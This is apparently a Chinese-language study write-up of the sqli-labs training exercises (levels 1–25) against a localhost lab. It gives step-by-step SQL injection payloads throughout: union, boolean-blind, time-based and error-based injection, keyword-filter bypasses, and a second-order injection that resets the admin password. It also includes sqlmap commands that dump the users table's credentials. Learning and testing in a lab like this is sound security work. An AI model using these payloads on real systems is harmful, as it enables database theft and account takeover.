- #less-1:字符型注入—'闭合
- #less-2:数字型注入
- #less-3:字符型注入—‘)闭合
- #less-4:字符型注入—“)闭合
- #less-5:布尔盲注(5,6,7,8都是相同的做法)
- #less-9:时间盲注(9,10也都是相同的做法)
- #less-11:POST型联合注入(前10关是GET型,可以用URL直接传参,后面是在表单里传参)12类似
- #less-13:POST型报错注入 (14类似)
- #less-15:POST型盲注 (16,17类似)
- #less-18:user-agent注入
- #less-19:referer注入
- #less-20:cookie注入(21:cookie+编码,22:闭合方式为“)
- #less-23:注释符绕过
- #less-24:二次注入
- #less-25:过滤and和or
看了一个博主,在每一关的index.php文件中,添加代码,可以更好地理解sql注入
添加 echo $sql; echo "<br>";
, 这两行的意思是将我们输入的sql语句显示到页面上,然后换行,
less-1:字符型注入—‘闭合
按照要求用id传参,id=1,出现了数据
1.判断是否存在注入点(输入单引号报错,但是后面加上“-- qwe”显示正常,说明存在字符型注入):
2.使用order by 判断有几个显示位,4报错,3正确。说明有3个字段
3.判断数据库版本,发现是5以上的,有自带的表。
4.查询表名:?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe
5.查询字段名:?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- qwe
6.查询内容:?id=0' union select 1,group_concat(username),group_concat(password) from users-- qwe
less-2:数字型注入
1.判断是否存在注入点,用'发现都是报错,然后用and 1=1,and1=2判断,1=1正常,1=2报错,说明是数字型
2.使用order by查询有几个显示位,?id=1 order by 3 正常,?id=1 order by 4 报错,说明有三个回显位
3.查询mysql版本号,?id=0 union select 1,2,version() 需要让前面的语句无法执行才会显示后面的版本号
4.查询表名,?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
4.查询列名,?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
5.查询数据,?id=0 union select 1,group_concat(username),group_concat(password) from users
less-3:字符型注入—‘)闭合
1.判断注入点,由于显示了sql查询代码,所以可以看出来,这是‘)闭合
输入?id=1') -- qwe,我们可以看到前面的‘)和查询语句的(’进行了一个闭合,后面的‘)被注释掉了
2.用order by 查看回显位 order by 4报错,order by 3 正常,故回显位有三个
3.查询版本号?id=0') union select 1,2,version() -- qwe
4.查询表名?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
5.查询列名?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- qwe
6.查询数据?id=0') union select 1,group_concat(username),group_concat(password) from users -- qwe
less-4:字符型注入—")闭合
1.判断闭合方式
2.用order by测试显示位?id=1“) order by 3 -- qwe
3.查看版本号?id=0") union select 1,2,version() -- qwe
4.查看表名?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe
5.查看列名?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- qwe
6.查看数据?id=0") union select 1,group_concat(username),group_concat(password) from users -- qwe
less-5:布尔盲注
1.判断闭合方式—'闭合
2.查看版本?id=1' and substr(version(),1,1)=5 -- qwe,说明版本为5点几
3.查看数据库?id=1' and length(database())=8 -- qwe说明数据库长度是8位
4.猜测数据库的名字?id=1' and substr(database(),1,1)='s' -- qwe,我们可以猜想数据库名为security
?id=1' and substr(database(),2,1)='e' -- qwe
5.猜测表名?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security' limit 6,1))=8-- qwe
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' -- qwe
猜不出来,使用burp暴力破解
说明该表第一个字母为e,又是6位,猜测其为emails
6.挨个试就行了,但是我们还是使用工具更节约时间
python2 sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security --tables ——查询表
7.查询列名:python2 sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security -T users --columns
8.查询数据:python2 sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security -T users -C username,password --dump
less-6:
1.判断注入点
2.判断数据库名
python2 sqlmap.py -u "http://localhost/sqli/Less-6/?id=1" --dbs
3.判断表名python2 sqlmap.py -u "http://localhost/sqli/Less-6/?id=1" -D security --tables
4.判断列名python2 sqlmap.py -u "http://localhost/sqli/Less-6/?id=1" -D security -T users --columns
5.查询数据python2 sqlmap.py -u "http://localhost/sqli/Less-6/?id=1" -D security -T users -C username,password --dump
less-9:时间盲注
1.判断注入点,但是发现,无论输入什么显示的页面都是一样的,这时我们可以使用if函数和sleep函数进行判断:?id=1' and if(1=1,sleep(10),1) -- qwe
2.判断数据库名长度:?id=1' and if(length((select database()))=8,sleep(10),1) -- qwe
3.判断数据库名:?id=1' and if(substr(database(),1,1)='s',sleep(10),1) -- qwe(8位,首字母位s,猜测是security)
4.判断表名总长度:?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>10,sleep(10),1)-- qwe
说明长度大于十,然后慢慢试
5.判断表名:?id=1' and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e'),sleep(10),1)-- qwe
说明第一个字母是e,然后慢慢试
6.判断字段名总长度:
?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))>10,sleep(10),1)-- qwe
7.判断字段名—判断数据长度—判断数据......
less-11:POST型注入
1.判断注入点—‘闭合
2.查询表名:0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe
3.查询列名:0' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- qwe
4.查询数据:0' union select group_concat(username),group_concat(password) from users-- qwe
less-13:POST型报错注入
1.判断闭合方式—')闭合“1‘)和1’)显示的页面不同”
2.使用报错注入查询数据库:1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- qwe
3.查询表:0') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)-- qwe
4.查询字段:0') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)-- qwe
5.查询数据:0') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)-- qwe
0') and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)-- qwe
less-15:POST型盲注
1.判断闭合方式—‘闭合
2.判断库名:
长度:admin' and length(database())=8-- qwe
字母:admin' and substr(database(),1,1)='s'-- qwe
8位,首字母位s,判断是‘security’.
2.判断表名——总长度——字母。。。。。。。。
less-18:user-agent注入
1.判断注入点:当输入正确的用户名和密码时,user-agent会在页面显示出来
2.查看源码,发现是一条插入语句,且需要三个参数
3.打开burpsuit进行抓包,然后在数据包的UA里进行报错注入
查看数据库名
查询表名
查询列名
查询数据
less-19:referer注入
1.判断注入点—登陆成功会有referer字段显示出来,登录失败则没有
2.查看源码,发现有两个参数,一个是referer字段,一个是ip地址
3.用burpsuit抓包
查看库名
查看表名
。。。。
less-20:cookie注入
1.判断注入点:登录成功后会显示成功页面,有cookie信息
2.用burpsuit抓包
库名
表名
列名
数据
less-23:注释符绕过(#,--空格)
1.判断注入点:查看源代码,发现注释符被绕过了,使用
?id=1' or ' 1 ' = ' 1
这样sql语句就变成了:?id='1' or '1' = '1'
2.判断回显位:?id=0' union select 1,2,3 or ' 1 ' = ' 1 ==>?id='0' union select 1,2,3 or '1' = '1'
说明有三位回显位
3.判断库名:?id=0' union select 1,database(),3 or '1'='1
4.判断表名:?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
5.判断列名:?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 or'1'='1
6.拿出数据:?id=0' union select 1,(select group_concat(username,password) from users),3 or '1'='1
less-24:二次注入(新建的用户名(构造一个关于admin用户的playload)被当作sql代码执行,然后在修改密码时,修改的是原admin用户的密码)
新建用户的源代码如下
“UPDATE users SET PASSWORD=’$pass’ where username=‘$username’ and password=’ $curr pass ’”;
$username===>admin’ –qwe admin 后的’ 被当作单引号和前面的’闭合 后面的被注释掉,但数据库认为这是正确的数据。
第二次修改用户 “ admin’ –qwe ”的密码时,其实修改的是admin用户的密码
1.判读注入点,根据上面得出的结论,我们新建一个admin' -- qwe,的用户
2.为方便理解,登录到后端数据库查看‘users’表
可以看到‘admin’用户的密码是admin,新建用户的密码是123456
3.然后登录,修改admin' -- qwe用户的密码
4.见证奇迹的时刻:修改的是admin用户的密码,我们就可以用admin用户登录
less-25:过滤and和or
1.判断注入点:输入?id=1'报错,输入?id=1' -- qwe 显示正常,判断是‘闭合
2.查询库名:?id=0' union select 1,2,database()-- qwe
3.判断表名:?id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')-- qwe
可以看到,information中的or都被过滤掉了,我们可以采用双写的办法进行绕过infoorrmation
?id=0' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')-- qwe
3.判断列名:?id=0' union select 1,2,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users')-- qwe
4.拿到数据:?id=0' union select 1,2,(select group_concat(username,passwoorrd) from users)-- qwe